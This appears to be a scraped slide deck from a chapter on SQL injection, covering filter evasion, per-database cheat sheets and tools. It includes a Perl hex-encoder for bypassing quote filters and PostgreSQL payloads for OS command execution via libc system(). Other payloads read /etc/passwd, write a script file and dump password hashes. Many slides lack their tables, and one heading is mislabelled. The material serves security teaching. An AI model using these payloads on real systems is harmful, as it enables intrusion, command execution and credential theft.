  • 39. Quote Filters (con…) #!/usr/bin/perl print "Enter SQL query to encode:"; $teststr=<STDIN>;chomp $teststr; $hardcoded_sql = 'declare @q varchar(8000) '. 'select @q=0x*** '. 'exec(@q)'; $prepared = encode_sql($teststr); $hardcoded_sql =∼s//$prepared/g; print "[*]-Encoded SQL:"; print $hardcoded_sql .""; sub encode_sql{ @subvar=@_; my $sqlstr =$subvar[0]; @ASCII = unpack("C*", $sqlstr); foreach $line (@ASCII) { $encoded = sprintf('%lx',$line); $encoded_command .= $encoded; } return $encoded_command; } CHAPTER 10 39 2/04/2011
  • 40. HTTP Encoding You can sometimes bypass input validation filters that reject known bad characters (often referred to as blacklisting). 2/04/2011 CHAPTER 10 40
  • 41. HTTP Encoding (con…) 41 2/04/2011 CHAPTER 10
  • 42. HTTP Encoding (con…) 42 2/04/2011 CHAPTER 10
  • 43. Troubleshooting SQL Injection Attacks
  • 44. Troubleshooting SQL Injection Attacks: Table lists some of the common challenges and errors that are frequently encountered when attempting to exploit an SQL injection flaw across various platforms. 2/04/2011 CHAPTER 10 44
  • 50. SQL Injection on Other Platforms 2/04/2011 50 CHAPTER 10
  • 51. SQL Injection on Other Platforms. This section is intended to provide a quick reference for other, less commonplatforms, such as PostgreSQL, DB2, Informix, and Ingres. PostgreSQL : Extracting the PostgreSQL Database Configuration Information: 51 2/04/2011 CHAPTER 10
  • 52. Extracting the PostgreSQL Database Schema : 2/04/2011 CHAPTER 10 52
  • 53. Blind Sql injection Function : Attacking the Database Server: PostgreSQL PostgreSQL does not offer a built-in procedure for executing operating system commands it is possible to import functions such as system() from an external .dll or Shared Object (.so) file. System Command Execution: import the system function from the standard UNIX libc library: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6‘,'system' LANGUAGE 'C' STRICT; The system function can then be called by executing the following SQL query: SELECT system('command'); 53 2/04/2011 CHAPTER 10
  • 54. Local File Access: Local files can be read by the superuser account using the following SQL: CREATE TABLE filedata(t text); COPY filedata FROM '/etc/passwd'; -- It is also possible to write local files using the following SQL: CREATE TABLE thefile(evildata text); INSERT INTO thefile(evildata) VALUES ('some evil data'); COPY thefile (evildata) TO '/tmp/evilscript.sh'; Cracking Database Passwords : PostgreSQL passwords are hashed using the MD5 algorithm: select usename||':'||passwd from pg_shadow; 2/04/2011 CHAPTER 10 54
  • 55. DB2 Cheat Sheet : The DB2 database server from IBM is perhaps one of the least popular database platforms to find integrated with a Web application. Extracting the PostgreSQL Database Configuration Information: 55 2/04/2011 CHAPTER 10
  • 56. Extracting DB2 Database Schema : Blind Sql injection Function : 2/04/2011 CHAPTER 10 56
  • 57. Informix Cheat Sheet : The Informix database server is distributed by IBM and is not commonly encountered when compared to other database platforms. Extracting the Informix Database Configuration Information: 2/04/2011 CHAPTER 10 57
  • 58. Extracting Informix Database Schema : Blind Sql injection Function : 58 2/04/2011 CHAPTER 10
  • 59. Ingres Cheat Sheet : The Ingres database is an open source database available for all major operating systems.Ingres is one of the least popular databases to find integrated with a Web application. Extracting the Ingres Database Configuration Information: 59 2/04/2011 CHAPTER 10
  • 60. Extracting Ingres Database Schema : Blind Sql injection Function : 2/04/2011 CHAPTER 10 60
  • 61. Microsoft Access : Microsoft Access databases do not scale well with enterprise applications, and thereforeare usually encountered only when the application has minimal database requirements. Brett Moore of insomniasec.com has published an excellent paper on SQL injection with Microsoft Access which you can find here: www.insomniasec.com/publications/Access-Through- Access.pdf 2/04/2011 CHAPTER 10 61
  • 62. Resources : SQL Injection White Papers ■ “Advanced SQL Injection” by Victor Chapela: www.owasp.org/index.php/Image:Advanced_SQL_Injection.ppt “Advanced SQL Injection in SQL Server Applications” by Chris Anley: www.ngssoftware.com/papers/advanced_sql_injection.pdf ■ “Buffer Truncation Abuse in .NET and Microsoft SQL Server” by GaryO’Leary-Steele: http://scanner.sec-1.com/resources/bta.pdf ■ “Access through Access” by Brett Moore: www.insomniasec.com/publications/Access-Through-Access.pdf ■ “Time-Based Blind SQL Injection with Heavy Queries” by Chema Alonso: http://technet.microsoft.com/en-us/library/cc512676.aspx SQL Injection Cheat Sheets ■ PentestMonkey.com SQL injection cheat sheets for Oracle, Microsoft SQL Server, MySQL, PostgreSQL, Ingres, DB2, and Informix: http://pentestmonkey.net/cheat-sheets/ ■ Michaeldaw.org SQL injection cheat sheets for Sybase, MySQL, Oracle, PostgreSQL, DB2, and Ingres: http://michaeldaw.org/sql-injection-cheat-sheet/ ■ FerruhMavituna cheat sheets for MySQL, SQL Server, PostgreSQL, and Oracle: http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ ■ FerruhMavituna cheat sheets for Oracle: http://ferruh.mavituna.com/oracle-sql-injection-cheat-sheet-oku/ 62 2/04/2011 CHAPTER 10
  • 63. SQL Injection Exploit Tools : BSQL Hacker is a relatively new player in the SQL injection exploit world.The tool is a Windows-based GUI application that supports Microsoft SQL Server,Oracle, and MySQL. BSQL Hacker supports blind and error-based SQL injectiontechniques: http://labs.portcullis.co.uk/application/bsql-hacker/ The Sec-1 Automagic SQL injection (SASI) tool is a Microsoft SQL Server exploittool written in Perl: http://scanner.sec-1.com/resources/sasi.zip
  • 64. Password Cracking Tools : Cain & Abel: www.oxid.it Woraauthbf: www.soonerorlater.hu/index.khtml?article_id=513
  • 65. Solutions Fast Track : Structured Query Language (SQL) Primer: SQL comprises a feature-rich set of statements, operators, and clauses designed to interact with a database server. The most common SQL Statements are SELECT,INSERT, UPDATE, DELETE, and DROP. The majority of SQL injection vulnerabilities occur when user-supplied data is included with the WHERE Clausem portion of a SELECT statement. The UPDATE and DELETE statements rely on a WHERE clause to determine which records are modified or deleted. When injecting SQL into either an UPDATE or a DELETE statement it is important to understand how your input could affect the database. Avoid injecting OR 1=1 or any other condition that returns true into either of these statements.

Editor's Notes

  1. this will be valid for most database platforms. Where necessary I will highlight platform-specific variations to the standard
  2. The primary role of the SELECT statement is to retrieve data from a database and return it to the application or user. Microsoft SQL server also allows you to use SELECT statements to read table data from one table and insert it into another. You use the UNION operator to combine the result sets of two or more SELECT statements. All SELECT statements within the union must return the same number of columns and their data type must be compatible. To permit duplicates and prevent the database from comparing the returned data, use UNION ALL SELECT
  3. use the INSERT statement to insert data into a table . The most significant problem with this approachis that if the table structure is changed (e.g., columns are added or deleted) data could be written to the wrong column. use the UPDATE statement to modify existing data within a database table. all UPDATE statements should include a WHERE clause to indicate which rows should be updated,or all rows are affected.use the DELETE statement to delete rows from a table. all DELETE statements should include a WHERE clause to indicate which rows should be deleted.
  4. use the DROP statement to delete database objects such as tables, views, indexes, users. use the CREATE TABLE statement to create a new table in the current database or schema.INTEGER or INT - A 32-bit signed integer value. Oracle allows you to create a table and populate it with data from another table or view: use the ORDER BY clause to sort the results of a SELECT statement by a specific column
  5. You can use the ALTER TABLE statement to add, delete, or modify a column within an existing table. use the GROUP BY statement when performing an aggregate function such as SUM against a column in a table .
  6. When performing SQL injection attacks you will often need to limit the number of table rows returned by your injected query (e.g., when extracting data via error messages). The syntax for selecting a specific row from a table varies among database platforms. Table details the SQL syntax for selecting the first and fifth rows from the tblUsers table.
  7. محمد صديق يواصل
  8. the single quote character is often filtered or doubled up as a defense mechanism. this strategy fails when the vulnerable user input is a numeric value, and therefore is not delimited using quote characters.
  9. The DUAL Dummy table (as it is sometimes called) is an automatically-generated table assigned to SYS, but accessible to all users. It is useful because it always exists, and has a single row, which is handy for select statements with constant expressions. You could just as easily do this with any other table with a single row, but using DUAL makes it portable among all Oracle installations.Example: SELECT 1+1 FROM DUAL;1+1----------2
  10. In the following example, we have created a variable named @qand placed the query SELECT ‘ABC’ into it via a HEX-encoded string
  11. by encoding your input using exotic encoding standards or via double encoding.
  12. In the Table lists common SQL metacharacters in a number of encoded formats.
  13. عمر صالح يواصل